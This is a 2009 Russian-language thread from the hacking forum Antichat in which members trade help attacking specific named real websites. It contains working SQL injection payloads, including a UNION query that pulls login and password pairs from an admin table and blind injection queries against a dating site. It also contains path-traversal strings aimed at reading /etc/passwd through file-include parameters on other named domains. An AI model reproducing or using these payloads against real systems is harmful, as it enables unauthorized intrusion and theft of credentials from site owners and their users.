 |
|
30.09.2009, 16:00
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами:
9154406
Репутация:
2221
|
|
Сообщение от 2Fed123
Узнал что есть таблица admin_login.Как поля выводить и потом concat(login) типо того сделать.
Извиняюсь за назойливость.
id=-1+union+select+1,2,3,4,5,6,7+from+admin_login+--+
Это к примеру как выглядит твой запрос поначалу.
id=-1+union+select+1,2,3,concat_ws(0x3a,login,password ),5,6,7+from+admin_login+--+
Конечно столбцы могут называться по другому, я тебе просто привёл пример.
А вобще юзай поиск, или же читай тему про SQL Инъекцию.
|
|
|
30.09.2009, 16:28
|
|
Познающий
Регистрация: 18.11.2008
Сообщений: 53
С нами:
9199661
Репутация:
10
|
|
http://www.cmeta.ru/new/mambots/editors/wysiwygpro/image.php?lang=index.php так этот инклюд можно как-то раскрутить или не? Просто не понимаю есть фильтр или нет.
|
|
|
|
30.09.2009, 16:34
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами:
9154406
Репутация:
2221
|
|
Сообщение от u36a
http://www.cmeta.ru/new/mambots/editors/wysiwygpro/image.php?lang=index.php так этот инклюд можно как-то раскрутить или не? Просто не понимаю есть фильтр или нет.
http://www.cmeta.ru/new/mambots/editors/wysiwygpro/image.php?lang=../../../../../../../(...)/etc/passwd
Скорее всего есть чем нету.
|
|
|
|
30.09.2009, 16:46
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Это инклюд, но инклюд с фильтром.
В lang нельзя использовать
PHP код:
$values = array('/','\\','?','&','%','#','~',':',' ','<','>','*','+','@','"',"'",'|',"\r","\n","\t");
|
|
|
|
30.09.2009, 19:49
|
|
Познающий
Регистрация: 26.02.2009
Сообщений: 65
С нами:
9055208
Репутация:
5
|
|
Сообщение от Ctacok
Это к примеру как выглядит твой запрос поначалу.
Конечно столбцы могут называться по другому, я тебе просто привёл пример.
А вобще юзай поиск, или же читай тему про SQL Инъекцию.
Была бы простая инъекция-непопросил бы помоши.Твое предложение к сожелению неподойдет 
Узнал что есть таблица acces.
Когда делаю запрос _http://www.lovepage.it/dating-online/profilo_utente.asp?ID=rogerb%27+and+if(ascii(subst ring((select+column_name+from+acces),1,1))%3E=1,1, 0)--+
Ошибка.Пробовал перекодировать в хекс,все равно,но по ошибка и если попробовать _http://www.lovepage.it/dating-online/profilo_utente.asp?ID=rogerb%27+and+if(ascii(subst ring((select+column_name+from++CHARACTER_SETS),1,1 ))%3E=1,1,0)--+
Прошу сильно не пинать-с блиндом только учусь работать( и с POST инъекциями  )
Последний раз редактировалось 2Fed123; 30.09.2009 в 20:02..
|
|
|
|
30.09.2009, 20:20
|
|
Участник форума
Регистрация: 23.08.2007
Сообщений: 157
С нами:
9851463
Репутация:
19
|
|
http://www.dneprohost.com.ua/dp.php?key=' вроде инъекция, но там запрос какойто необычный мб нужен, помогите
|
|
|
|
30.09.2009, 20:38
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
Сообщение от M1ks
http://www.dneprohost.com.ua/dp.php?key=' вроде инъекция, но там запрос какойто необычный мб нужен, помогите
http://forum.antichat.ru/thread104591.html
Подчёркиваю: инъекция, это именно возможность влиять на запрос, возможность внедрить в него что-то, а не просто ошибка базы. (c)Jokester
пробуй проверить ее на логику, не получается выполнить логику значит не SQl-inj
Последний раз редактировалось HAXTA4OK; 30.09.2009 в 20:42..
|
|
|
|
01.10.2009, 01:26
|
|
Познающий
Регистрация: 18.11.2008
Сообщений: 53
С нами:
9199661
Репутация:
10
|
|
Сообщение от Ctacok
http://www.cmeta.ru/new/mambots/editors/wysiwygpro/image.php?lang=../../../../../../../(...)/etc/passwd
Скорее всего есть чем нету.
Так как только с GET полявляется .. или / ошибки пропадают, откуда я знаю обход срабатывает или нет?
http://volkswagen.msk.ru/index.php?p=../../../../../../../../etc/passwd
Этот инклюд тоже глухой?
Последний раз редактировалось u36a; 01.10.2009 в 01:42..
|
|
|
|
01.10.2009, 01:59
|
|
Новичок
Регистрация: 14.09.2009
Сообщений: 8
С нами:
8766793
Репутация:
4
|
|
Сообщение от u36a
Этот инклюд тоже глухой?
Тут вообще его нет =\ похоже на ошибку в логике скрипта
|
|
|
|
01.10.2009, 02:02
|
|
Новичок
Регистрация: 14.09.2009
Сообщений: 8
С нами:
8766793
Репутация:
4
|
|
Сообщение от M1ks
http://www.dneprohost.com.ua/dp.php?key=' вроде инъекция, но там запрос какойто необычный мб нужен, помогите
Там экранирование просто.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
